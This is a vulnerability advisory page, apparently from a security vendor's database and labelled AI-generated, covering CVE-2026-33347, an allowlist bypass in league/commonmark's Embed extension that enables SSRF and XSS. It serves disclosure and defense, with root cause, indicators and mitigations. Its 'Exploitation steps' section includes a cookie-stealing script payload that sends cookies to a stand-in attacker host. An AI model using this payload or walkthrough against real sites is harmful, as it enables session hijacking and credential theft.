CVE-2026-33347
PHP vulnerability analysis and mitigation

Overview

CVE-2026-33347 is an allowlist bypass vulnerability in the DomainFilteringAdapter of the Embed extension in league/commonmark, a PHP Markdown parsing library. The flaw allows an attacker-controlled domain such as youtube.com.evil to pass the allowed_domains allowlist check when youtube.com is a permitted domain, due to a missing hostname boundary assertion in the domain-matching regex. This enables both Server-Side Request Forgery (SSRF) and Cross-Site Scripting (XSS) attack vectors. Affected versions are >= 2.3.0 and <= 2.8.1; the issue was disclosed and patched on March 19, 2026. The CVSS v4 base score is 6.3 (Medium) (GitHub Advisory).

Technical details

The root cause is an incorrectly constructed regular expression (CWE-185) in DomainFilteringAdapter::createRegex(), which built a pattern like /^(?:https?:\/\/)?(?:[^.]+\.)*(<allowed_domain>)/ without anchoring the end of the hostname. This allowed a domain such as youtube.com.evil to match the pattern for youtube.com because the regex does not assert that the matched domain is at the end of the hostname. The fix in version 2.8.2 replaces the regex entirely with PHP's parse_url() for explicit hostname extraction, followed by exact string comparison ($host === $domain || str_ends_with($host, '.' . $domain)), eliminating the boundary ambiguity. Exploitation requires that the application processes untrusted Markdown input with the Embed extension enabled and allowed_domains configured — no authentication is required from the attacker's perspective. The two resulting attack vectors are SSRF (CWE-918) via OscaroteroEmbedAdapter making server-side HTTP requests to the attacker's host, and reflected/stored XSS (CWE-79) via EmbedRenderer outputting unsanitized oEmbed HTML responses directly into the page (GitHub Advisory, Patch Commit).

Impact

Successful exploitation can result in two distinct impacts: via SSRF, the server is induced to make outbound HTTP requests to attacker-controlled infrastructure, potentially exposing internal service metadata, probing internal network resources, or exfiltrating request-level information (e.g., headers, tokens). Via XSS, arbitrary HTML and JavaScript injected through the attacker's oEmbed response is rendered verbatim in the victim's browser, enabling session hijacking, credential theft, or malicious redirects. Availability is not directly impacted, but confidentiality and integrity of both the vulnerable system and downstream users are at risk (GitHub Advisory).

Exploitability

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the time of disclosure. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.043% (3rd percentile), indicating a low near-term exploitation probability. Exploitation requires that the target application accepts untrusted Markdown input and has the Embed extension enabled with allowed_domains configured, which limits the attack surface to specific deployment configurations (GitHub Advisory, Feedly).

Exploitation steps

  1. Reconnaissance: Identify a target application that uses league/commonmark versions 2.3.0–2.8.1 with the Embed extension enabled and allowed_domains configured (e.g., youtube.com). This can be inferred from application behavior — if embedding YouTube links in Markdown renders oEmbed content, the extension is likely active.
  2. Register attacker-controlled domain: Set up a domain that appends .evil (or any suffix) to an allowed domain, e.g., youtube.com.evil, and configure it to serve a malicious oEmbed JSON response.
  3. Craft malicious Markdown: Construct a Markdown embed link pointing to the attacker-controlled domain, e.g., ![embed](https://youtube.com.evil/video). The DomainFilteringAdapter regex matches youtube.com within youtube.com.evil and passes the allowlist check.
  4. Trigger SSRF: Submit the crafted Markdown to the application. The OscaroteroEmbedAdapter makes a server-side HTTP request to https://youtube.com.evil/video, which the attacker's server receives — exposing server IP, headers, and potentially internal network reachability.
  5. Trigger XSS: Configure the attacker's oEmbed endpoint to return a JSON response with an html field containing arbitrary JavaScript, e.g., {"html": "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"}. The EmbedRenderer outputs this HTML verbatim into the rendered page, executing the script in the victim's browser when they view the content (GitHub Advisory, Patch Commit).

Indicators of compromise

  • Network: Outbound HTTP/HTTPS requests from the application server to unexpected external domains that superficially resemble allowlisted domains (e.g., youtube.com.evil, vimeo.com.attacker.com); server-side requests to domains not in the configured allowed_domains list.
  • Logs: Web server or application logs showing oEmbed fetch requests to domains matching the pattern <allowed_domain>.<attacker_tld>; HTTP 200 responses from unexpected external hosts during Markdown rendering.
  • Network: Unusual DNS lookups from the application server for domains that are supersets of known-allowed embed domains.
  • Logs: Browser-side CSP violation reports (if CSP is enabled) triggered by inline scripts or unexpected resource loads originating from rendered Markdown content.
  • File System / Application: Rendered page content containing unexpected <script> tags or iframe elements sourced from non-allowlisted domains in oEmbed output.

Mitigation and workarounds

Upgrade league/commonmark to version 2.8.2 or later, which replaces the flawed regex-based domain check with parse_url()-based exact hostname matching (Release 2.8.2). If immediate upgrade is not possible, the following workarounds can reduce risk:

  • Disable the Embed extension entirely, or restrict Markdown input processing to trusted users only.
  • Implement a custom EmbedAdapterInterface with proper hostname validation.
  • Enable a Content Security Policy (CSP) to limit the impact of any injected scripts.
  • Apply outbound firewall rules to restrict the application server's ability to make arbitrary external HTTP requests (GitHub Advisory).

Community reactions

The vulnerability was reported by researcher HuajiHD and patched by maintainer colinodell (Colin O'Dell) on March 19, 2026, the same day of disclosure — indicating a coordinated, responsible disclosure process. The fix was released as a dedicated security release (2.8.2), and the changelog explicitly labels it a security release addressing SSRF and XSS risks. Ubuntu and other Linux distributions subsequently issued advisories for their packaged versions of league/commonmark (Linux Security). No significant broader social media discussion or notable researcher commentary beyond the advisory has been identified.

Additional resources


SourceThis report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-8cfw-pcwh-v63wHIGH8.4
  • PHP logoPHP
  • winter/wn-system-module
NoYesAug 20, 2026
GHSA-p2ch-c2c3-4xm5MEDIUM6.1
  • PHP logoPHP
  • winter/wn-backend-module
NoYesAug 20, 2026
GHSA-fm29-4mq3-phg6MEDIUM5.3
  • PHP logoPHP
  • winter/wn-backend-module
NoYesAug 20, 2026
GHSA-hq84-x37p-j6q5MEDIUM4.5
  • PHP logoPHP
  • winter/wn-backend-module
NoYesAug 20, 2026
GHSA-mpmw-f6h6-3g26MEDIUM4.3
  • PHP logoPHP
  • winter/wn-backend-module
NoYesAug 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management